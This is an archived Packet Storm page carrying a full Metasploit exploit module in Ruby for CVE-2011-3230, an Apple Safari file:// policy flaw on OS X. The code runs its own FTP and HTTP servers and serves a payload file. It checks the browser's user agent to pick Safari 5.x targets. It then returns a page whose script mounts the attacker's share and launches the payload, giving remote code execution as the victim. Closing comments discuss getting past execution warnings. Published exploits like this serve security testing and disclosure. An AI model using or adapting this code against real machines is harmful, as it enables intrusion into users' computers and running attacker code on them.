Lucene search

K
packetstormSinn3rPACKETSTORM:105899
HistoryOct 17, 2011 - 12:00 a.m.

Apple Safari file:// Arbitrary Code Execution

2011-10-1700:00:00
sinn3r
packetstormsecurity.com
19

0.909 High

EPSS

Percentile

98.5%

`##  
# $Id: safari_file_policy.rb 13967 2011-10-17 03:49:49Z todb $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
require 'rex/service_manager'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::FtpServer  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Apple Safari file:// Arbitrary Code Execution",  
'Description' => %q{  
This module exploits a vulnerability found in Apple Safari on OSX platform.  
A policy issue in the handling of file:// URLs may allow arbitrary remote code  
execution under the context of the user.  
  
In order to trigger arbitrary remote code execution, the best way seems to  
be opening a share on the victim machine first (this can be SMB/WebDav/FTP, or  
a fileformat that OSX might automount), and then execute it in /Volumes/[share].  
If there's some kind of bug that leaks the victim machine's current username,  
then it's also possible to execute the payload in /Users/[username]/Downloads/,  
or else bruteforce your way to getting that information.  
  
Please note that non-java payloads (*.sh extension) might get launched by  
Xcode instead of executing it, in that case please try the Java ones instead.  
},  
'License' => MSF_LICENSE,  
'Version' => "$Revision: 13967 $",  
'Author' =>  
[  
'Aaron Sigel', # Initial discovery  
'sinn3r', # Metasploit (also big thanks to HD, and bannedit)  
],  
'References' =>  
[  
['CVE', '2011-3230'],  
['URL', 'http://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-file-path-from.html#comments'],  
['URL', 'http://support.apple.com/kb/HT5000']  
],  
'Payload' =>  
{  
'BadChars' => "",  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "none",  
},  
'Platform' => [ 'unix', 'osx', 'java' ],  
'Arch' => [ ARCH_CMD, ARCH_JAVA ],  
'Targets' =>  
[  
[ 'Safari 5.1 on OSX', {} ],  
[ 'Safari 5.1 on OSX with Java', {} ]  
],  
'Privileged' => true,  
'DisclosureDate' => "Oct 12 2011", #Blog date  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']),  
OptPort.new('SRVPORT', [true, "The local port to use for the FTP server (Do not change)", 21 ]),  
OptPort.new('HTTPPORT', [true, "The HTTP server port", 80])  
], self.class )  
end  
  
  
#  
# Start the FTP aand HTTP server  
#  
def exploit  
# The correct extension name is necessary because that's how the LauncherServices  
# determines how to open the file.  
ext = (target.name =~ /java/i) ? '.jar' : '.sh'  
@payload_name = Rex::Text.rand_text_alpha(4 + rand(16)) + ext  
  
# Start the FTP server  
start_service()  
print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}")  
  
# Create our own HTTP server  
# We will stay in this functino until we manually terminate execution  
start_http()  
end  
  
  
#  
# Lookup the right address for the client  
#  
def lookup_lhost(c=nil)  
# Get the source address  
if datastore['SRVHOST'] == '0.0.0.0'  
Rex::Socket.source_address( c || '50.50.50.50')  
else  
datastore['SRVHOST']  
end  
end  
  
  
#  
# Override the client connection method and  
# initialize our payload  
#  
def on_client_connect(c)  
r = super(c)  
@state[c][:payload] = regenerate_payload(c).encoded  
r  
end  
  
  
#  
# Handle FTP LIST request (send back the directory listing)  
#  
def on_client_command_list(c, arg)  
conn = establish_data_connection(c)  
if not conn  
c.put("425 Can't build data connection\r\n")  
return  
end  
  
print_status("Data connection setup")  
c.put("150 Here comes the directory listing\r\n")  
  
print_status("Sending directory list via data connection")  
month_names = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']  
m = month_names[Time.now.month-1]  
d = Time.now.day  
y = Time.now.year  
  
dir = "-rwxr-xr-x 1 ftp ftp #{@state[c][:payload].length.to_s} #{m} #{d} #{y} #{@payload_name}\r\n"  
conn.put(dir)  
conn.close  
  
print_status("Directory sent ok")  
c.put("226 Transfer ok\r\n")  
  
return  
end  
  
  
#  
# Handle the FTP RETR request. This is where we transfer our actual malicious payload  
#  
def on_client_command_retr(c, arg)  
conn = establish_data_connection(c)  
if not conn  
c.put("425 can't build data connection\r\n")  
return  
end  
  
print_status("Connection for file transfer accepted")  
c.put("150 Connection accepted\r\n")  
  
# Send out payload  
conn.put(@state[c][:payload])  
conn.close  
return  
end  
  
  
#  
# Handle the HTTP request and return a response. Code borrorwed from:  
# msf/core/exploit/http/server.rb  
#  
def start_http(opts={})  
# Ensture all dependencies are present before initializing HTTP  
use_zlib  
  
comm = datastore['ListenerComm']  
if (comm.to_s == "local")  
comm = ::Rex::Socket::Comm::Local  
else  
comm = nil  
end  
  
# Default the server host / port  
opts = {  
'ServerHost' => datastore['SRVHOST'],  
'ServerPort' => datastore['HTTPPORT'],  
'Comm' => comm  
}.update(opts)  
  
# Start a new HTTP server  
@http_service = Rex::ServiceManager.start(  
Rex::Proto::Http::Server,  
opts['ServerPort'].to_i,  
opts['ServerHost'],  
datastore['SSL'],  
{  
'Msf' => framework,  
'MsfExploit' => self,  
},  
opts['Comm'],  
datastore['SSLCert']  
)  
  
@http_service.server_name = datastore['HTTP::server_name']  
  
# Default the procedure of the URI to on_request_uri if one isn't  
# provided.  
uopts = {  
'Proc' => Proc.new { |cli, req|  
on_request_uri(cli, req)  
},  
'Path' => resource_uri  
}.update(opts['Uri'] || {})  
  
proto = (datastore["SSL"] ? "https" : "http")  
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")  
  
if (opts['ServerHost'] == '0.0.0.0')  
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")  
end  
  
# Add path to resource  
@service_path = uopts['Path']  
@http_service.add_resource(uopts['Path'], uopts)  
  
# As long as we have the http_service object, we will keep the ftp server alive  
while @http_service  
select(nil, nil, nil, 1)  
end  
end  
  
  
#  
# Kill HTTP/FTP (shut them down and clear resources)  
#  
def cleanup  
super  
  
# Kill FTP  
stop_service()  
  
# clear my resource, deregister ref, stop/close the HTTP socket  
begin  
@http_service.remove_resource(datastore['URIPATH'])  
@http_service.deref  
@http_service.stop  
@http_service.close  
@http_service = nil  
rescue  
end  
end  
  
  
#  
# Ensures that gzip can be used. If not, an exception is generated. The  
# exception is only raised if the DisableGzip advanced option has not been  
# set.  
#  
def use_zlib  
if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)  
raise RuntimeError, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!"  
end  
end  
  
  
#  
# Returns the configured (or random, if not configured) URI path  
#  
def resource_uri  
path = datastore['URIPATH'] || random_uri  
path = '/' + path if path !~ /^\//  
datastore['URIPATH'] = path  
return path  
end  
  
  
#  
# Handle HTTP requets and responses  
#  
def on_request_uri(cli, request)  
agent = request.headers['User-Agent']  
  
if agent !~ /Macintosh; Intel Mac OS X/ or agent !~ /Version\/5\.\d Safari\/(\d+)\.(\d+)/  
print_error("Unsupported target: #{agent}")  
send_response(cli, 404, "Not Found", "<h1>404 - Not Found</h1>")  
return  
end  
  
html = <<-HTML  
<html>  
<head>  
<base href="file://">  
<script>  
function launch() {  
document.location = "/Volumes/#{lookup_lhost}/#{@payload_name}";  
}  
  
function share() {  
document.location = "ftp://anonymous:anonymous@#{lookup_lhost}/";  
setTimeout("launch()", 2000);  
}  
  
share();  
</script>  
</head>  
<body>  
</body>  
</html>  
HTML  
  
send_response(cli, 200, 'OK', html)  
end  
  
  
#  
# Create an HTTP response and then send it  
#  
def send_response(cli, code, message='OK', html='')  
proto = Rex::Proto::Http::DefaultProtocol  
res = Rex::Proto::Http::Response.new(code, message, proto)  
res['Content-Type'] = 'text/html'  
res.body = html  
  
cli.send_response(res)  
end  
  
end  
  
=begin  
- Need to find a suitable payload that can be executed without warning.  
Certain executables cannot be executed due to permission issues. A jar file doesn't have this  
problem, but we still get a "Are you sure?" warning before it can be executed.  
- Allow user-specified port to automount the share  
- Allow ftp USERNAME/PASSWORD (optional)  
=end  
`